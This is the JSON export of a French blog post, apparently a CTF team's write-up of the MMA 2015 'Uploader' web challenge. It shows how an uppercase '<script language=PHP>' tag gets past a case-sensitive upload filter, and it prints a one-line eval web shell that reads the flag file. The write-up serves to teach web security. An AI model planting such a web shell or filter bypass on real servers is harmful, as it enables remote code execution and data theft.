{"id":809,"date":"2015-09-08T01:19:36","date_gmt":"2015-09-07T23:19:36","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=809"},"modified":"2015-09-08T17:00:02","modified_gmt":"2015-09-08T15:00:02","slug":"mma-ctf-web-uploader-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2015\/09\/08\/mma-ctf-web-uploader-write-up\/","title":{"rendered":"[MMA 2015] [Web &#8211; Uploader] Write Up"},"content":{"rendered":"<h2>Description<\/h2>\n<blockquote><p>Le script d&rsquo;upload retire tous les \/&lt;\\?|php\/. Donc, vous ne pouvez pas lancer du php.<\/p>\n<p>Vous pouvez seulement uploader des fichier dont le nom est captur\u00e9 par la regexp \/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$\/.<\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>L&rsquo;\u00e9nonc\u00e9 est clair, il faut r\u00e9ussir \u00e0 ex\u00e9cuter du php, malgr\u00e9 les regexp qui nous bloquent la route.<\/p>\n<p>Habituellement on utilise &lt;?php, &lt;? ou &lt;?= pour d\u00e9buter un code php, la regexp supprimant \u00ab\u00a0&lt;?\u00a0\u00bb et \u00ab\u00a0php\u00a0\u00bb on se retrouve vite coinc\u00e9.<\/p>\n<p>Un petit tour dans la <a href=\"http:\/\/php.net\/manual\/fr\/language.basic-syntax.phptags.php\">documentation php<\/a> nous donne une piste, on peut voir que la synaxe \u00ab\u00a0<code>&lt;script language=php&gt;<\/code>\u00a0\u00bb pouvant passer la regexp a \u00e9t\u00e9 supprim\u00e9e en php 7. Cela tombe bien, les headers http de l&rsquo;\u00e9preuve nous apprennent que c&rsquo;est PHP\/5.5.9-1ubuntu4.11 qui est utilis\u00e9.<\/p>\n<p>On tente d&rsquo;abord d&rsquo;uploader un fichier contenant un petit \u00ab\u00a0<code>&lt;script language=php&gt;echo time();&lt;\/script&gt;<\/code>\u00a0\u00bb mais non, cela ne passe pas, la regexp nous supprime le mot php dans notre code.<\/p>\n<p>Oh mais, et si la regexp \u00e9tait sensible \u00e0 la casse ? Envoyons le mot PHP en majuscules&#8230;<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;script language=PHP&gt;eval($_GET&#x5B;'q']);&lt;\/script&gt;\r\n<\/pre>\n<p>On tente alors de lire le flag, en passant \u00e0 notre script l&rsquo;argument \u00ab\u00a0<code>q=echo file_get_contents('\/flag');<\/code>\u00a0\u00bb<\/p>\n<p>\u00c7a fonctionne !<\/p>\n<p><code>Le flag est : MMA{you can run php from script tag}<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description Le script d&rsquo;upload retire tous les \/&lt;\\?|php\/. Donc, vous ne pouvez pas lancer du php. Vous pouvez seulement uploader des fichier dont le nom est captur\u00e9 par la regexp \/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$\/.<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35,52],"tags":[47,19,54,55],"class_list":["post-809","post","type-post","status-publish","format-standard","hentry","category-2015-fr","category-ctf-fr","category-mma-2015-fr","tag-mma","tag-web","tag-php","tag-regexp"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/809","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=809"}],"version-history":[{"count":13,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/809\/revisions"}],"predecessor-version":[{"id":886,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/809\/revisions\/886"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=809"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=809"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=809"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}